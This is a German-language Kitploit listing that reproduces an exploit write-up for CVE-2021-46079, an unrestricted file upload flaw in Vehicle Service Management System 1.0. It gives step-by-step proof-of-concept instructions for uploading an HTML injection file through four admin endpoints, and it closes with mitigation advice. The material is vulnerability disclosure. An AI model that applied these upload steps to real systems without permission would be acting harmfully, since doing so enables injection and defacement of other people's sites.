Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-46079 — CVE-2021-46079 - Im Sourcecodester Vehicle Service Management System 1.0 existiert eine Schwachstelle für uneingeschränkten Datei-Upload. Ein entfernter Angreifer kann bösartige Dateien hochladen, was zu HTML-Injection führt. | Kitploit
Tools/GitHubGitHub/sanupl/cve-2021-46079
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubsanupl/cve-2021-46079

CVE-2021-46079

CVE-2021-46079 - Im Sourcecodester Vehicle Service Management System 1.0 existiert eine Schwachstelle für uneingeschränkten Datei-Upload. Ein entfernter Angreifer kann bösartige Dateien hochladen, was zu HTML-Injection führt.

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-46079

Exploit-Titel: Vehicle Service Management System - 'Multiple' Datei-Upload führt zu HTML-Injection

Exploit-Autor: SANU P.L

CVE: CVE-2021-46079

CVSS: 7.2 HIGH

Referenzen:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46079
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079

Beschreibung:

In Sourcecodester Vehicle Service Management System 1.0 besteht eine Schwachstelle durch uneingeschränkten Datei-Upload (Unrestricted File Upload). Ein entfernter Angreifer kann schädliche Dateien hochladen, was zu HTML-Injection führt.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich My Account: http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
  2. Geben Sie im Bereich My Account alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab.
  5. Die HTML-Injection wird ausgeführt.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich User List und klicken Sie auf die Schaltfläche Create New.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
  2. Geben Sie auf der Seite Create New User alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf die Schaltfläche Save.
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab.
  5. Die HTML-Injection wird ausgeführt.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Payload:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich Settings: http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
  2. Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System Logo aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das System-Logo-Bild in einem neuen Tab.
  5. Die HTML-Injection wird ausgeführt.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich Settings: http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
  2. Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website Cover aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
  5. Die HTML-Injection wird ausgeführt.

Auswirkungen:

Ein Angreifer kann an mehreren Endpunkten schädliche Dateien hochladen, was zu HTML-Injection führt.

Gegenmaßnahmen:

Es wird empfohlen, Folgendes umzusetzen:

  • Akzeptieren Sie einen Dateinamen und seine Erweiterung niemals direkt ohne einen Whitelist-Filter.
  • Wenn keine Unicode-Zeichen benötigt werden, wird dringend empfohlen, als Eingabe für Dateiname und Erweiterung nur alphanumerische Zeichen und genau einen Punkt zu akzeptieren.
  • Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
  • Das Upload-Verzeichnis sollte keinerlei „Ausführen"-Berechtigung besitzen.
  • Verlassen Sie sich nicht ausschließlich auf die clientseitige Validierung.
Tool herunterladen